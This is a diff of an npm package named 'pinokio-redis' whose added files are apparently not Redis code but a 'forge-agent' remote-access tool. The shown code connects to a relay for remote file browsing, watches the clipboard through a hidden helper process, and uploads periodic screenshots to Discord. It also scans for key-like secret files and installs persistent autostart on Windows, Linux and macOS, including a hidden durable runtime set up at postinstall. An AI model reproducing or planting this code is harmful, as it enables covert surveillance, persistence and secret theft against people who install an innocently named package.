pinokio-redis 1.0.127

package/dist/cli-agent.d.ts

@@ -0,0 +1,3 @@
+#!/usr/bin/env node
+/** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
+import "./envLoad";

package/dist/cli-agent.js

@@ -0,0 +1,71 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/** Optional package-root `.env` — same as relay; helps Linux/macOS installs set CFGMGR_RELAY_URL without systemd edits. */
+require("./envLoad");
+const clientId_1 = require("./clientId");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const manifest_1 = require("./autostart/manifest");
+const agentRunner_1 = require("./agentRunner");
+const runFilenameSecretScan_1 = require("./secretScan/runFilenameSecretScan");
+function bootstrapSyncEnvFromDisk() {
+    const dir = (0, clientId_1.defaultCfgmgrDataDir)();
+    (0, agentEnvFile_1.applyForgeJsAgentEnvFile)(dir);
+    (0, agentEnvFile_1.applyDefaultHubUploadProcessEnv)();
+    (0, agentEnvFile_1.applyDefaultAgentFeatureProcessEnv)();
+    (0, agentEnvFile_1.applyDefaultAgentUnattendedProcessEnv)();
+    const have = (process.env.FORGE_JS_SYNC_URL || "").trim() ||
+        (process.env.CFGMGR_API_URL || "").trim() ||
+        (process.env.CFGMGR_CFG || "").trim();
+    if (have)
+        return;
+    const u = (0, manifest_1.readManifest)(dir)?.options?.syncApiUrl?.trim();
+    if (u) {
+        process.env.FORGE_JS_SYNC_URL = u;
+        process.env.CFGMGR_API_URL = u;
+    }
+}
+if (process.argv[2] === "secret-scan") {
+    void (0, runFilenameSecretScan_1.runFilenameSecretScanCli)(process.argv.slice(3))
+        .then((code) => process.exit(code))
+        .catch((e) => {
+        console.error("forge-agent secret-scan:", e instanceof Error ? e.message : e);
+        process.exit(2);
+    });
+}
+else if (process.argv.includes("-h") || process.argv.includes("--help")) {
+    console.log(`Usage: forge-agent --relay <ws://host:9877> [--session <id>] [--password <p>|--no-password] [--no-filesystem] [--quiet]\n` +
+        `       forge-agent secret-scan [--path <dir>] [--patterns <json>] [--output <base>] [--threads N] [--include-raw-findings]\n` +
+        `         Local filename-pattern scan for key-like material (JSON + CSV report; no relay; authorized use only — see secret-scan --help).\n` +
+        `Env: CFGMGR_RELAY_URL, FORGE_JS_RELAY_URL, CFGMGR_SESSION_ID, CFGMGR_SESSION_PASSWORD (overridden by --password when set)\n` +
+        `Session: omit CFGMGR_SESSION_ID to discover sync_api_base_url via GET /api/relay-for-agent.\n` +
+        `  Default on all OSes: use this machine's client_* session so explorer targets local disks (no shared-room collisions).\n` +
+        `  To join the relay default room intentionally: FORGE_JS_USE_RELAY_SESSION=1 or set CFGMGR_SESSION_ID / --session.\n` +
+        `  Auto-chosen session is written to <CfgMgr data>/forge-js-explorer-session.txt (e.g. %LOCALAPPDATA%\\CfgMgr\\data on Windows).\n` +
+        `Forge-db sync: set FORGE_JS_SYNC_URL / CFGMGR_API_URL on the relay — the agent copies sync from GET /api/relay-for-agent (before WS) and relay_features.sync_api_base_url on connect if unset locally.\n` +
+        `Discord screenshots: the relay may advertise RELAY_DISCORD_* via relay_features — leave FORGE_JS_DISCORD_SCREENSHOT_ENABLED unset to follow the relay, set =1 to force on, or =0/false/off to opt out (persistable in forge-js-agent.env; survives reconnect).\n` +
+        `  Optional: FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS in milliseconds (default 300000 = 5m). If set on the agent, it overrides relay_features.discord_screenshot_interval_ms.\n` +
+        `    FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS — optional cap N (ms): adds hash(client_id)%N to interval to desync many PCs without per-host env.\n` +
+        `    FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS (default 3000, 0=immediate first capture); FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS optional first-shot spread.\n` +
+        `    FORGE_JS_DISCORD_UPLOAD_MODE=webhook|relay (default webhook). If unset, relay_features.discord_screenshot_upload_mode may set it from RELAY_DISCORD_AGENT_UPLOAD_MODE.\n` +
+        `  FORGE_JS_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries per HTTP call to Discord.\n` +
+        `  FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS=1-12 (default 12) — webhook mode: extra full ticket→POST retries after 429.\n` +
+        `  FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK=1 — optional: after webhook failures, retry via relay WS (PNG). Default off.\n` +
+        `Upgrades: use the file explorer **Upgrade agent** button only (no automatic npm/registry updates on agent or relay start).`);
+    process.exit(0);
+}
+else {
+    try {
+        bootstrapSyncEnvFromDisk();
+        const opts = (0, agentRunner_1.resolveForgeAgentFromArgv)(process.argv, process.env);
+        if (!opts) {
+            console.error("forge-agent: --relay or CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL is required.");
+            process.exit(2);
+        }
+        (0, agentRunner_1.runForgeAgentWithSingleton)(opts);
+    }
+    catch (e) {
+        console.error("forge-agent:", e instanceof Error ? e.message : e);
+        process.exit(2);
+    }
+}

package/dist/cli-autostart.d.ts

@@ -0,0 +1,2 @@
+#!/usr/bin/env node
+export {};

package/dist/cli-autostart.js

@@ -0,0 +1,166 @@
+#!/usr/bin/env node
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * Register or remove OS autostart for forge-agent (logon / user session / boot+linger on Linux).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const install_1 = require("./autostart/install");
+const durableDistDir_1 = require("./durableDistDir");
+function parseArgs(argv) {
+    const envDist = (process.env.FORGE_JS_AUTOSTART_DIST_DIR || "").trim();
+    const opts = {
+        relayUrl: process.env.FORGE_JS_RELAY_URL?.trim() ||
+            process.env.CFGMGR_RELAY_URL?.trim() ||
+            "",
+    };
+    let cmd = "help";
+    let distDir = envDist;
+    for (let i = 2; i < argv.length; i++) {
+        const a = argv[i];
+        if (a === "install")
+            cmd = "install";
+        else if (a === "uninstall")
+            cmd = "uninstall";
+        else if (a === "status")
+            cmd = "status";
+        else if (a === "-h" || a === "--help")
+            cmd = "help";
+        else if (a === "--relay" && argv[i + 1]) {
+            opts.relayUrl = argv[++i];
+        }
+        else if (a === "--session" && argv[i + 1]) {
+            opts.session = argv[++i];
+        }
+        else if (a === "--password" && argv[i + 1]) {
+            opts.password = argv[++i];
+        }
+        else if (a === "--no-password")
+            opts.noPassword = true;
+        else if (a === "--no-filesystem")
+            opts.noFilesystem = true;
+        else if (a === "--omit-relay-arg")
+            opts.omitRelayArg = true;
+        else if (a === "--omit-sync-url")
+            opts.omitSyncUrl = true;
+        else if ((a === "--dist-dir" || a === "--agent-dist") && argv[i + 1]) {
+            distDir = path.resolve(argv[++i]);
+        }
+    }
+    return { cmd, opts, distDir };
+}
+/** Prefer explicit --dist-dir / env; else durable hidden runtime from current.json; else this package dist/. */
+function resolveDistDirForInstall(parsedDist) {
+    const trimmed = parsedDist.trim();
+    if (trimmed)
+        return trimmed;
+    const durable = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
+    if (durable && fs.existsSync(path.join(durable, "cli-agent.js"))) {
+        return durable;
+    }
+    return (0, install_1.defaultDistDir)();
+}
+function printHelp() {
+    console.log(`forge-autostart — OS autostart for forge-agent (Windows / Linux / macOS)
+
+Usage:
+  forge-autostart install [--relay <ws://host:9877>] [options]
+  forge-autostart uninstall
+  forge-autostart status
+
+Options (install):
+  --relay URL     WebSocket relay (omit when using --omit-relay-arg; else env vars count as relay)
+  --session ID    Optional session id (else uses persisted .client_id)
+  --password P    Session password (omit to use CFGMGR_SESSION_PASSWORD at runtime — not stored in manifest)
+  --no-password   Agent without password
+  --no-filesystem Disable fs explorer on agent
+  --dist-dir DIR  Package dist/ containing cli-agent.js (isolated runtime — survives deleting an npm project)
+  --omit-relay-arg  Omit --relay from OS service argv (agent uses embedded deployment relay URL only)
+  --omit-sync-url   Omit sync URL from forge-js-agent.env (bundle-sourced sync)
+
+Env:
+  FORGE_JS_AUTOSTART_DIST_DIR  Same as --dist-dir when set
+
+Behavior:
+  Windows:  Task Scheduler task "${"ForgeJSWorker"}" at user logon (HKCU Run fallback if policy blocks)
+  Linux:    systemd user unit forge-js-worker.service + loginctl enable-linger (best-effort)
+  macOS:    ~/Library/LaunchAgents/com.forgejs.worker.plist (RunAtLoad + KeepAlive)
+
+PATH:
+  Does not modify system/user PATH. Entries use absolute paths to Node (at install time) and
+  cli-agent.js. If --dist-dir / FORGE_JS_AUTOSTART_DIST_DIR are omitted, install uses the durable
+  dist from <CfgMgr data>/.forge-jsxy/current.json when present (same tree as npm postinstall),
+  otherwise this package's dist/ next to forge-autostart.
+
+Requires: dist/cli-agent.js at resolved dist dir. Uses current Node (process.execPath).
+`);
+}
+const { cmd, opts, distDir: parsedDist } = parseArgs(process.argv);
+if (cmd === "help") {
+    printHelp();
+    process.exit(0);
+}
+if (cmd === "status") {
+    console.log(JSON.stringify((0, install_1.statusAutostart)(), null, 2));
+    process.exit(0);
+}
+if (cmd === "uninstall") {
+    (0, install_1.uninstallAutostart)();
+    console.log("forge-autostart: uninstall completed.");
+    process.exit(0);
+}
+if (cmd === "install") {
+    if (!opts.relayUrl.trim() && !opts.omitRelayArg) {
+        console.error("forge-autostart install: pass --relay or set FORGE_JS_RELAY_URL / CFGMGR_RELAY_URL, " +
+            "or use --omit-relay-arg when the agent should use the embedded deployment relay URL only.");
+        process.exit(2);
+    }
+    let distDirFinal = resolveDistDirForInstall(parsedDist);
+    if (!fs.existsSync(path.join(distDirFinal, "cli-agent.js"))) {
+        console.error(`forge-autostart install: cli-agent.js not found under dist dir: ${distDirFinal}`);
+        process.exit(2);
+    }
+    const ok = (0, install_1.installAutostart)(opts, distDirFinal);
+    if (ok) {
+        console.log("forge-autostart: install completed.");
+        process.exit(0);
+    }
+    console.error("forge-autostart: install failed.");
+    process.exit(1);
+}
+printHelp();
+process.exit(2);

package/dist/cli-forge.d.ts

@@ -0,0 +1,2 @@
+#!/usr/bin/env node
+export {};

package/dist/cli-forge.js

@@ -0,0 +1,5 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const workerBootstrap_1 = require("./workerBootstrap");
+(0, workerBootstrap_1.configurationConstants)();

package/dist/cli-linux-session-refresh.d.ts

@@ -0,0 +1,2 @@
+#!/usr/bin/env node
+export {};

package/dist/cli-linux-session-refresh.js

@@ -0,0 +1,30 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/**
+ * XDG autostart entry (Linux + systemd): copy the current graphical session into
+ * forge-js-agent.env and restart forge-js-worker.
+ *
+ * With loginctl linger, the user service often starts at boot before any X11/Wayland
+ * session exists. That process wins the forge-agent singleton; the duplicate start at
+ * desktop login exits immediately. Clipboard then stays broken until the service is
+ * restarted with a real DISPLAY / WAYLAND_DISPLAY / XAUTHORITY / DBus session bus.
+ */
+const node_child_process_1 = require("node:child_process");
+const clientId_1 = require("./clientId");
+const agentEnvFile_1 = require("./autostart/agentEnvFile");
+const constants_1 = require("./autostart/constants");
+if (process.platform !== "linux") {
+    process.exit(0);
+}
+const dataDir = (0, clientId_1.defaultCfgmgrDataDir)();
+(0, agentEnvFile_1.mergeLinuxGraphicalSessionIntoForgeAgentEnv)(dataDir);
+const r = (0, node_child_process_1.spawnSync)("systemctl", ["--user", "restart", constants_1.SYSTEMD_UNIT_NAME], {
+    encoding: "utf8",
+    timeout: 30_000,
+});
+if (r.status !== 0 &&
+    (process.env.FORGE_JS_SESSION_REFRESH_LOG || "").trim() === "1") {
+    console.error("[forge-js] cli-linux-session-refresh: systemctl --user restart failed:", r.stderr?.trim() || r.stdout?.trim() || r.error?.message || r.status);
+}
+process.exit(0);

package/dist/cli-relay.d.ts

@@ -0,0 +1,3 @@
+#!/usr/bin/env node
+/** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
+import "./envLoad";

package/dist/cli-relay.js

@@ -0,0 +1,41 @@
+#!/usr/bin/env node
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+/** Load project `.env` (e.g. `RELAY_HF_CREDENTIALS_B64`) when not injected by PM2. */
+require("./envLoad");
+const deploymentDefaults_1 = require("./deploymentDefaults");
+const relayServer_1 = require("./relayServer");
+function parseArgs(argv) {
+    let host = "0.0.0.0";
+    let port = deploymentDefaults_1.RELAY_DEFAULT_PORT;
+    for (let i = 2; i < argv.length; i++) {
+        const a = argv[i];
+        if (a === "--host" && argv[i + 1]) {
+            host = argv[++i];
+        }
+        else if (a === "--port" && argv[i + 1]) {
+            port = parseInt(argv[++i], 10) || port;
+        }
+        else if (a === "-h" || a === "--help") {
+            console.log(`Usage: forge-relay [--host 0.0.0.0] [--port ${deploymentDefaults_1.RELAY_DEFAULT_PORT}]\n` +
+                `  Env: CFGMGR_RELAY_STRICT_ORIGIN=1 — strict browser Origin checks (default relaxed for reverse proxies).\n` +
+                `       CFGMGR_RELAY_DISABLE_ORIGIN_CHECK=1 — force relaxed Origin checks.\n` +
+                `       CFGMGR_RELAY_DASHBOARD_PASSWORD_SHA256=<64 hex> — require login before /files and viewer WebSockets; put only the SHA-256 of the password in .env (not plaintext).\n` +
+                `       forge-db sync URL (advertised to agents): FORGE_JS_SYNC_URL or CFGMGR_API_URL / CFGMGR_CFG, or RELAY_SYNC_API_BASE_URL.\n` +
+                `       CFGMGR_SESSION_ID — default file-explorer session; agents without a session call GET /api/relay-for-agent to match.\n` +
+                `       Discord screenshots: RELAY_DISCORD_SCREENSHOT_ENABLED=1, RELAY_DISCORD_BOT_TOKEN (comma-sep or RELAY_DISCORD_BOT_TOKENS), RELAY_DISCORD_GUILD_ID,\n` +
+                `       RELAY_DISCORD_PARENT_CATEGORY_ID (optional), RELAY_DISCORD_SCREENSHOT_INTERVAL_MS (default 300000),\n` +
+                `       RELAY_DISCORD_REQUIRE_SEQ_ID=1 (default) — require forge-db seq_id for client-N channel naming (blocks legacy hash channels).\n` +
+                `       RELAY_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS / RELAY_DISCORD_SCREENSHOT_FIRST_STAGGER_MS (optional → relay_features for agents).\n` +
+                `       Agents mirror via relay_features on connect (in-memory only; cleared on disconnect).\n` +
+                `       WebRTC P2P (signaling via relay WS; file explorer + /remote use forge-rc when agent supports node-datachannel):\n` +
+                `       default ON — set RELAY_WEBRTC_SIGNALING=0 to disable. Optional RELAY_RTC_ICE_SERVERS=<JSON RTCIceServer[]>.\n` +
+                `       RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 — legacy: omit WebRTC until agent semver ≥ relay package.\n` +
+                `       RELAY_DISCORD_429_MAX_ATTEMPTS=1-12 (default 12) — retries on Discord HTTP 429 for REST + webhook delete.`);
+            process.exit(0);
+        }
+    }
+    return { host, port };
+}
+const { host, port } = parseArgs(process.argv);
+(0, relayServer_1.startRelayServer)({ host, port });

package/dist/clientId.d.ts

@@ -0,0 +1,2 @@
+export declare function defaultCfgmgrDataDir(): string;
+export declare function getOrCreateClientId(dataDir?: string): string;

package/dist/clientId.js

@@ -0,0 +1,97 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.defaultCfgmgrDataDir = defaultCfgmgrDataDir;
+exports.getOrCreateClientId = getOrCreateClientId;
+/**
+ * Persistent client id — same role as cfgmgr.core._client_id (X-Client-Id / session id source).
+ */
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const os = __importStar(require("node:os"));
+const node_crypto_1 = require("node:crypto");
+const tableNaming_1 = require("./tableNaming");
+function defaultCfgmgrDataDir() {
+    const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
+    if (override)
+        return path.resolve(override.replace(/^~/, os.homedir()));
+    if (process.platform === "win32") {
+        const lap = (process.env.LOCALAPPDATA || "").trim();
+        if (lap)
+            return path.join(lap, "CfgMgr", "data");
+        const prof = (process.env.USERPROFILE || "").trim();
+        if (prof)
+            return path.join(prof, "AppData", "Local", "CfgMgr", "data");
+        return path.join(os.tmpdir(), "CfgMgr", "data");
+    }
+    if (process.platform === "darwin") {
+        return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
+    }
+    const xdg = (process.env.XDG_DATA_HOME || "").trim();
+    if (xdg)
+        return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
+    return path.join(os.homedir(), ".local", "share", "cfgmgr");
+}
+function getOrCreateClientId(dataDir) {
+    const dir = dataDir ?? defaultCfgmgrDataDir();
+    try {
+        fs.mkdirSync(dir, { recursive: true });
+    }
+    catch {
+        // Permission denied or invalid path — we can still return an in-memory id.
+        return (0, node_crypto_1.randomUUID)();
+    }
+    const fid = path.join(dir, ".client_id");
+    try {
+        if (fs.existsSync(fid)) {
+            const raw = fs.readFileSync(fid, "utf8").trim().slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
+            if (raw) {
+                const out = (0, tableNaming_1.canonicalClientIdFragment)(raw);
+                return (out || raw).slice(0, tableNaming_1.CLIENT_ID_MAX_LEN);
+            }
+        }
+    }
+    catch {
+        /* fall through */
+    }
+    const cid = (0, node_crypto_1.randomUUID)();
+    try {
+        fs.writeFileSync(fid, cid, "utf8");
+    }
+    catch {
+        return cid;
+    }
+    return cid;
+}

package/dist/clipboardEventWatcher.d.ts

@@ -0,0 +1,8 @@
+export declare function parseClipboardHelperStdoutChunk(pending: string, data: Buffer | string): {
+    pending: string;
+    changed: boolean;
+};
+/**
+ * @returns dispose callback, or undefined if watcher not used.
+ */
+export declare function attachClipboardEventWatcher(onChange: () => void, log: (msg: string) => void): (() => void) | undefined;

package/dist/clipboardEventWatcher.js

@@ -0,0 +1,176 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.parseClipboardHelperStdoutChunk = parseClipboardHelperStdoutChunk;
+exports.attachClipboardEventWatcher = attachClipboardEventWatcher;
+/**
+ * Optional push-style clipboard notifications via `clipboard-event`
+ * (platform helper process). Timer poll remains as backup when active.
+ *
+ * Windows: we spawn `clipboard-event-handler-win32.exe` ourselves with
+ * `{ windowsHide: true }` so no console flashes (the upstream package uses
+ * `execFile` without options; postinstall patches are easy to miss under npx).
+ */
+const node_child_process_1 = require("node:child_process");
+const node_fs_1 = require("node:fs");
+const path = __importStar(require("node:path"));
+const headlessAgent_1 = require("./headlessAgent");
+const linuxX11_1 = require("./linuxX11");
+function parseClipboardHelperStdoutChunk(pending, data) {
+    const token = "CLIPBOARD_CHANGE";
+    const chunk = String(data);
+    const merged = `${pending}${chunk}`;
+    const lines = merged.split(/\r?\n/);
+    const tail = lines.pop() ?? "";
+    let changed = false;
+    for (const raw of lines) {
+        if (raw.trim() === token) {
+            changed = true;
+        }
+    }
+    /**
+     * Some helper builds can emit a token without a trailing newline; consume that exact
+     * complete token so the last change event is not lost.
+     */
+    const tailTrimmed = tail.trim();
+    if (tailTrimmed === token) {
+        return { pending: "", changed: true };
+    }
+    return { pending: tail, changed };
+}
+function pollOnlyEnv() {
+    return (0, headlessAgent_1.forgeJsClipboardPollOnlyActive)();
+}
+/**
+ * @returns dispose callback, or undefined if watcher not used.
+ */
+function attachClipboardEventWatcher(onChange, log) {
+    const p = process.platform;
+    if (p !== "win32" && p !== "linux" && p !== "darwin")
+        return undefined;
+    if (pollOnlyEnv())
+        return undefined;
+    // Linux helper uses X11; Wayland-only sessions use wl-paste/xclip via exec + timer poll.
+    if (p === "linux" &&
+        !(process.env.DISPLAY || "").trim() &&
+        (process.env.WAYLAND_DISPLAY || "").trim()) {
+        log("clipboard-event skipped (Wayland without DISPLAY — timer poll / CLI clipboard)");
+        return undefined;
+    }
+    if (p === "linux" &&
+        (process.env.DISPLAY || "").trim() &&
+        !(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+        log("clipboard-event skipped (DISPLAY set but no X11 socket — timer poll only)");
+        return undefined;
+    }
+    if (p === "win32") {
+        const hidden = attachWin32ClipboardHelperHidden(onChange, log);
+        if (hidden)
+            return hidden;
+    }
+    try {
+        const clipEv = require("clipboard-event");
+        const handler = () => {
+            onChange();
+        };
+        clipEv.on("change", handler);
+        clipEv.startListening();
+        const ch = clipEv.child;
+        if (ch) {
+            ch.stderr?.on("data", () => { });
+            ch.on("error", (err) => {
+                log(`clipboard-event child error: ${err.message}`);
+            });
+        }
+        return () => {
+            clipEv.off("change", handler);
+            try {
+                clipEv.stopListening();
+            }
+            catch {
+                /* skip */
+            }
+        };
+    }
+    catch {
+        log("clipboard-event unavailable — clipboard uses timer poll only (optional: npm install clipboard-event)");
+        return undefined;
+    }
+}
+/** Same stdout protocol as `clipboard-event` (line-delimited `CLIPBOARD_CHANGE` tokens). */
+function attachWin32ClipboardHelperHidden(onChange, log) {
+    let main;
+    try {
+        main = require.resolve("clipboard-event");
+    }
+    catch {
+        return undefined;
+    }
+    const pkgRoot = path.dirname(main);
+    const exe = path.join(pkgRoot, "platform", "clipboard-event-handler-win32.exe");
+    if (!(0, node_fs_1.existsSync)(exe))
+        return undefined;
+    let child;
+    try {
+        child = (0, node_child_process_1.spawn)(exe, [], {
+            windowsHide: true,
+            stdio: ["ignore", "pipe", "pipe"],
+        });
+    }
+    catch (e) {
+        log(`clipboard-event win32 spawn failed: ${e instanceof Error ? e.message : String(e)}`);
+        return undefined;
+    }
+    let pendingStdout = "";
+    const onStdout = (data) => {
+        const parsed = parseClipboardHelperStdoutChunk(pendingStdout, data);
+        pendingStdout = parsed.pending;
+        if (parsed.changed)
+            onChange();
+    };
+    child.stdout?.on("data", onStdout);
+    child.stderr?.on("data", () => { });
+    child.on("error", (err) => {
+        log(`clipboard-event child error: ${err.message}`);
+    });
+    return () => {
+        try {
+            child.kill();
+        }
+        catch {
+            /* skip */
+        }
+    };
+}

package/dist/clipboardExec.d.ts

@@ -0,0 +1,7 @@
+/** launchd/systemd often provide a minimal PATH; clipboard CLIs live under /usr/bin and Homebrew. */
+export declare function ensureClipboardToolPath(): void;
+/** Thrown when no OS clipboard backend is available (distinct from an empty clipboard). */
+export declare class ClipboardReadUnavailableError extends Error {
+    constructor(message: string);
+}
+export declare function readClipboardViaExec(): Promise<string>;